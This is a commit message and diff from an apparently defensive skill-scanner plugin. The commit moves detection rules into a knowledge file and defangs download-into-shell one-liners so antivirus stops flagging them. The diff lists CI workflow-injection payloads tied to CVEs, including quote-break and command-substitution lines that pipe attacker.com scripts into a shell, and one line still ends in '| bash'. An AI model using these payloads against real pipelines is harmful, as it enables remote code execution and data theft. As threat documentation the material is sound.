refactor(agents): skill-scanner detection rules move to knowledge

The seven-category signal lists in agents/skill-scanner-agent.md move to
knowledge/skill-threat-patterns.md § Detection Rules. The agent keeps its
procedure, severity table, verdict logic and output format, plus a pointer,
and now says to report an unreadable knowledge file instead of scanning from
memory (a remembered subset reports clean for rules it never applied).

Chose the existing file over a new one because every command that invokes
the agent (scan, audit, clean, plugin-audit) already passes
<plugin-root>/knowledge/skill-threat-patterns.md explicitly; a new file would
have needed four command edits to reach the agent at all.

Why (v8.1.0 AV surface): a clean SKILL.md was quarantined as
Trojan:Script/Wacatac.H!ml; a quarantine on agents/*.md breaks the installed
plugin, not just a clone. Move measured lossless: the only line-level
differences are the two intended rewrites and headings.

Also in this commit, rewritten as descriptions or with a <shell>
placeholder for the interpreter (no technique removed):
- posture-assessor-agent: hook-coverage item and override phrases
- deep-scan-synthesizer-agent: example decoded message
- commands/red-team.md: scenario table cell
- knowledge/*.md: 15 runnable download-into-shell one-liners, the
  "Decodes to" line first; fenced examples keep their exact shape with
  <shell>, prose and tables become sentences.

Probe (e): 8 -> 3 (the three left are hook-script lines behind the
path guard). knowledge: 17 -> 2 (attack-scenarios.json, the red-team
simulator's input; left on purpose). claude plugin validate . passes;
agent frontmatter untouched, all six agents parse.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

knowledge/workflow-injection-patterns.md

@@ -129,9 +129,9 @@ avoid over-confident mitigation guidance for Forgejo).
 - **Quote-break + curl** (ultralytics GHSA-7x29-qqmq-v6qc):
   `Hacked";{curl,-sSfL,gist...}${IFS}|${IFS}bash`
 - **Discussion title `$()` substitution** (gluestack CVE-2025-53104):
-  `$(curl -sSfL attacker.com/exfil.sh | bash)`
+  `$(curl -sSfL attacker.com/exfil.sh | <shell>)`
 - **`workflow_dispatch` shell-break** (Emissary CVE-2026-35580):
-  `1.0.0"; curl attacker.com/backdoor.sh | bash; echo "`
+  `1.0.0"; curl attacker.com/backdoor.sh | <shell>; echo "`
 
 Single-quote shell escaping provides ZERO protection — template
 substitution happens BEFORE shell parsing (Ken Muse, Appsmith CVE).